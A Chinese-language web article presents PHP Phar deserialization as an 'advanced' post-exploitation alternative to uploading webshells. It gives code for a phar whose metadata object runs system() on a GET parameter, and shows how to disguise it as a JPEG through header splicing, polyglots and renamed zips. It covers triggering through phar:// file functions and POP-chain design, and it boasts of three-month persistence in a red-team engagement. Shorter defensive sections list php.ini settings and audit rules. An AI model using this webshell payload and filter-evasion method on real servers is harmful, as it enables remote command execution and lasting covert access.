当前位置: 首页 > news >正文

别再只盯着文件上传传马了!用Phar反序列化在PHP里玩点更‘高级’的后渗透

Phar反序列化:超越传统文件上传的高级渗透艺术

在网络安全攻防对抗的演进历程中,攻击手法始终在与防御措施进行着螺旋式上升的博弈。当传统文件上传漏洞被各类WAF和防护规则牢牢盯防时,一种更为隐蔽的攻击方式正在红队评估中崭露头角——Phar反序列化攻击。这种技术巧妙地将反序列化漏洞"存储"在看似无害的图片文件中,实现"一次上传,持久触发"的攻击效果。

1. 从文件上传到Phar反序列化的技术跃迁

1.1 传统文件上传的局限性

常规Webshell上传面临三重困境:

  • 检测拦截:现代WAF对常见的一句话木马特征检测准确率已达90%以上
  • 权限限制:上传目录通常配置为不可执行权限(如chmod 644
  • 持久性差:一旦被发现可被直接删除,难以维持长期控制
// 典型文件上传检测逻辑示例 $allowed_ext = ['jpg','png']; $file_ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION); if(!in_array($file_ext, $allowed_ext)){ die("Invalid file type!"); }

1.2 Phar反序列化的核心优势

对比传统方式,Phar攻击具备独特优势:

特性文件上传WebshellPhar反序列化
文件检测绕过困难容易(如图片格式)
触发条件直接访问文件操作函数调用
持久性单点失效多点潜伏
攻击面单一入口全站文件操作接口
流量特征明显隐蔽

2. Phar文件结构与攻击原理深度解析

2.1 Phar的二进制解剖

一个标准的Phar文件包含四个关键部分:

  1. Stub- PHP识别标识,格式要求严格:

    <?php __HALT_COMPILER(); ?>
  2. Manifest- 存储元数据的核心区域,包含:

    • 文件属性
    • 序列化的用户自定义数据(攻击载荷载体)
  3. Contents- 实际压缩内容(可伪装为正常文件)

  4. Signature- 可选的哈希校验部分(20字节SHA1+8字节标志)

2.2 反序列化触发机制

攻击流程分为三个阶段:

  1. 构造阶段

    class Evil { public function __destruct() { system($_GET['cmd']); } } $phar = new Phar('test.phar'); $phar->setMetadata(new Evil());
  2. 上传阶段

    • 将.phar文件扩展名改为.jpg/png等允许格式
    • 通过文件上传接口传至服务器
  3. 触发阶段

    // 通过任意文件操作函数触发 file_exists('phar://uploads/fake.jpg');

关键点:PHP在解析phar文件时会自动反序列化manifest中的metadata,无需文件包含漏洞

3. 实战中的高级利用技巧

3.1 绕过上传限制的六种方法

  1. 扩展名伪装

    mv payload.phar payload.jpg
  2. 文件内容混淆

    with open('real.jpg','rb') as f: jpg_header = f.read(100) with open('payload.phar','rb') as f: phar = f.read() with open('final.jpg','wb') as f: f.write(jpg_header + phar[100:])
  3. Polyglot文件构造

    • 制作同时符合JPEG和PHAR格式的文件
    • 通过010 Editor手动调整文件结构
  4. 压缩包转换

    zip payload.zip payload.phar mv payload.zip payload.jpg
  5. 流量混淆

    • 分块上传
    • 编码转换(Base64/Hex)
  6. 二次渲染绕过

    • 分析目标图像处理库的渲染逻辑
    • 确保关键结构不被破坏

3.2 反序列化链(POP Chain)构造艺术

优质攻击链需要满足:

  • 入口点:具备可控参数的文件操作函数
  • 跳板:合适的魔术方法组合:
    class VulnClass { public function __wakeup() {...} public function __destruct() {...} public function __toString() {...} }
  • 执行点:最终达成代码执行/文件操作的方法

典型链式调用示例:

__destruct() -> __call() -> file_put_contents()

4. 防御体系构建与对抗策略

4.1 企业级防护方案

分层防御矩阵应包含:

  1. 输入层控制

    • 文件内容签名校验(非扩展名检测)
    • 强制重命名上传文件
    $new_name = hash('sha256', $content).'.dat';
  2. 运行层防护

    ; php.ini配置 phar.readonly = On disable_functions = phar_open,phar_file
  3. 代码层规范

    • 禁止动态调用文件操作函数
    • 使用白名单限制文件操作路径

4.2 攻击检测的三大维度

  1. 静态检测

    • Phar文件特征扫描(Stub标识)
    • 序列化数据模式识别
  2. 动态监控

    # 监控可疑文件操作 auditctl -w /var/www/uploads -p war -k web_upload
  3. 流量分析

    • 异常phar协议请求统计
    • 反序列化操作行为基线

在真实红队评估中,我们曾通过Phar攻击在严格防护的目标中建立了三个月以上的持久化通道。这种技术的精妙之处在于它将漏洞利用从"文件上传"这个单一维度,扩展到了所有可能触发文件操作的业务接口——从头像上传到文档导入,从缓存清理到备份恢复,每个文件接触点都可能成为攻击入口。

http://www.rkmt.cn/news/1449808.html

相关文章:

  • 5.30华为OD机试真题 新系统 - 企业内部部门的最大层级 (Java/Py/C/C++/Js/Go)
  • 半导体设备通信实战:用Python模拟HSMS协议(TCP/IP + 端口5000)
  • 从‘炼丹’到‘理解’:Meta-Baseline论文精读与实验复现避坑指南
  • Video2X:开源AI视频增强框架,让模糊视频焕发新生
  • 3分钟搭建Windows直播服务器:nginx-rtmp-win32零基础教程
  • Akagi:免费开源麻将AI辅助工具终极指南,轻松提升你的雀魂水平
  • OpenWrt有线中继组网实操:除了KVR,这些高级设置项你真的理解了吗?(含NAS ID、R0KH密钥详解)
  • Libre Barcode免费开源条码字体:如何快速生成专业条码的完整指南
  • 抖音内容批量下载终极指南:3分钟掌握无水印素材获取技巧
  • 4. 注意力机制介绍_2
  • Agent Harness Engineering综述:一篇读懂 AI Agent 真正的工程瓶颈
  • 别再死记硬背公式了!用5分钟搞懂电感‘伏秒平衡’,开关电源设计不再懵
  • # 20251901 2024-2025-2 《网络攻防实践》实验十
  • 别再复制粘贴了!手把手教你用Nacos 2.x和Sentinel搭建RuoYi-Cloud微服务后台(含常见启动报错解决)
  • SQL学习日志_Day2_深入SQL语法与数据库层级结构
  • 2026重庆除甲醛公司真实排名,选对不踩坑 - GrowthUME
  • 智能家居 Zigbee 与 WiFi 协议对比:穿墙性能深度测评
  • 图像转换新思路:BBDM如何用‘布朗桥’在潜在空间里‘搭桥’,比DDPM更直接?
  • 从语音识别到机器人控制:PicoTalk模块在远程呈现机器人中的应用
  • Keras设计哲学:从用户心智模型到深度学习框架的抽象艺术
  • 别再只问哪个 AI 模型更强了,2026 年真正拉开差距的是向量引擎
  • 手把手教你用MetaMask创建钱包并获取免费测试币(从安装到第一笔转账)
  • 用GD32F3x0单片机驱动TDC-GP22(SSP1922)做高精度测距:一份完整的SPI通信与寄存器配置指南
  • 基于ESP-01F与WebSocket的智能温度计:物联网开发实战指南
  • 量子门分解与校准技术详解
  • 华硕笔记本终极控制方案:5分钟掌握G-Helper轻量级优化工具
  • SAP生产计划员必看:如何利用组件与装配报废率,精准控制原材料采购数量?
  • 基于 Harmony 6.0 应用的同城活动组织平台首页实现
  • 基于树莓派的智能迷你冰箱:物联网全栈开发与硬件实践
  • 不到150元成本!基于STM32的智能手表项目复盘:从PCB布线到低功耗设计的避坑经验